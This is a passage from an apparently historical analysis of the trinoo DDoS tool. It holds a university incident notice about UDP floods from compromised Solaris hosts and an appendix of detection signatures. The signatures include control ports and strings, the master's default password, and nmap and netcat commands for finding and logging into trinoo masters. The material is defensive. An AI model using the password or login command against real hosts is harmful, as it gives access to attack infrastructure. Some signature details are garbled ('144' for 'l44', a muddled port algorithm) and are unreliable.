-----------------------------------------

The following is an abbreviated version the initial report sent out by
Susan Levy Haskell of the University of Minnesota. This report,
which only concerns a small time span in the three day attack, showed
227 unique attacking systems, 114 of which were at Internet 2 sites.
The actual list of attacking systems, all of which are also root
compromised victims in their own right, have been removed. A complete
report of all unique attacking IP addresses over the three day period
is not available.)

Just to show what a large trinoo network could do, consider that a file
(named "owned.log") containing 888 IP addresses was found same location
as the trinoo source code analyzed here (which is assumed to be the same
code as that used for the attack). Another file in that directory
(named "216") contains addresses of 10549 systems on 216.0.0.0/8
networks", and it is assumed to be a list of potential targets for
compromise and trinoo daemon/master installation. Rumors on Usenet
newsgroups and Slashdot put the number of systems controlled by this
group in the 3000+ range.

-----------------------------------------

Hello:

This is a notification that a system at your site apparently was used in
a large-scale UDP flood on a system at the University of Minnesota. The
hosts below have been involved in a series of escalating large-scale denial-of-service that are flooding the University of Minnesota off the internet. They are periodic, but expanding in the number of hosts used to attack.

We would like to hear about it if you can confirm whether your system(s) were used. We’re also very interested in any information about this tool (since it appears to be new, and quite effective). Thus far, all hosts used in this attack appear to have been Solaris 2.x systems that were compromised using the recently-announced rpc.cmsg exploits [see http://www.cert.org/advisories/CA-99-08-cmsg.html for details].

The following are lists of hosts apparently used, and the period of use. We’re certain about the timestamps—they’re in CDT (-500)—but as with all such floods, they ramp up and tail off. Since we’re getting data in ten-minute slices, the times are approximate.

The floods use unforged source IPs and consistent UDP source-ports. The destination ports are random, aimed at 160.94.196.192.
The packets are 32-byte UDP (and each flow represents many packets).

I’ve included profile information below, rather than log excerpts, because these run to many GB. If you would like Cisco net-flow excerpts to demonstrate the behavior, please reply to this message & ask.

All attacks have been launched at 160.94.196.192 (irc2.tc.umn.edu). And, as I mentioned, all times are in CDT (-500) from an ntp-slaved log host (for the ten-minute segments).

Thank you.

-susan
--

Susan B. Levy Haskell / sbhl8nts.umn.edu / voice: (612) 626-8639
Security Incident Response Coordinator / fax: (612) 626-1002
Networks & Telecommunications Services, University of Minnesota

*** To report a security incident in progress, call (612) 625-0006 ***

Appendix E – Further methods of detecting trinoo

Authors: David Brunley <dbrunley@stanford.edu>
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George Weaver <gmw@psu.edu>

Detecting Trinoo

Currently Trinoo has several signatures that allow it to be detected from IP flow records.

Trinoo Daemon (ns.c) –
1. The trinoo daemon by default listens to UDP port 27444
2. All communication with the trinoo daemon must have the string 144 (ell 44).
3. The SYN flood mechanism picks the destination port via the following algorithm:
   - to.syn_port = htons(rand() & 65534)

Several observations can be made:
- The trinoo daemon is never called, so the destination port will always fit the following algorithm:
- SYN packet 1 has destination port x
- SYN packet 2 has destination port y as defined by rand(x);
- SYN packet 3 has destination port z as defined by rand(y); z = rand();
- Since the port is a result of modulus 65534, destination port 0 will show up, while destination port 65535 will not.

IDS detection of daemon:
1. Look for UDP connections to destination port 27444. This is indicative of the control session.
2. The string 144 will determine with a large probability that the packet is part of a trinoo control session.
3. Running trinoo DoS attacks (SYN Floods) can be identified by the algorithm given in 3 above. In addition, if you can catch the first SYN, it will always be the result of srand(); rand();. On one authors laptop, an example sequence of destination ports would be:
   - 32540
   - 48264
   - 58208
   - 56084
   - 46021
   - 37263
   - 6890
   - 38941
   - 17766
   - 40714

Although this doesn’t stop the Denial of Service, it will say with some probability this is a trinoo attack, and you should start looking for a master!

Detecting the trinoo daemon on your network:
1. Trinoo daemons can be indexed by a master by sending a ping command.
   Live daemons will respond with a PONG. The original author probably added this so the master can see which daemons are still alive. You can scan a network with the attached program for anything that responds appropriately (which chances are a is a trinoo daemon).

Trinoo Server (master.c) –
The network communications that are indicative of a trinoo server are:
1. Sending UDP packets with destination port 27444
2. UDP packets as described above with the string 144adsl (ell 44 a d s ell)
3. A server will bind to port 27665

IDS detecting the trinoo server:
1. Look for flows with protocol type 17 (UDP)
2. TCP connections (protocol type 6) to destination port 27665 (the trinoo server)

Detecting the Trinoo server of your network:
1. The server password hasn’t changed (to the best of the authors knowledge), nor has the port it listens to. Trinoo possible masters can be detected by using a tool like nmap to find hosts listening to port 27665, i.e.
   - nmap -Pf -sT -p 27665 -m logfile "you.subnet.**"
   - After a list of possible servers has been compiled, automated login can be used for positive identification. If you wish to script the automated login, try netcat (nc on most systems), i.e.
     - echo "betawostdone" nc <IP> 27665

NOTE:
Your mileage may vary with the random number prediction since it’s very host specific - what does rand() really return? Consult your documentation.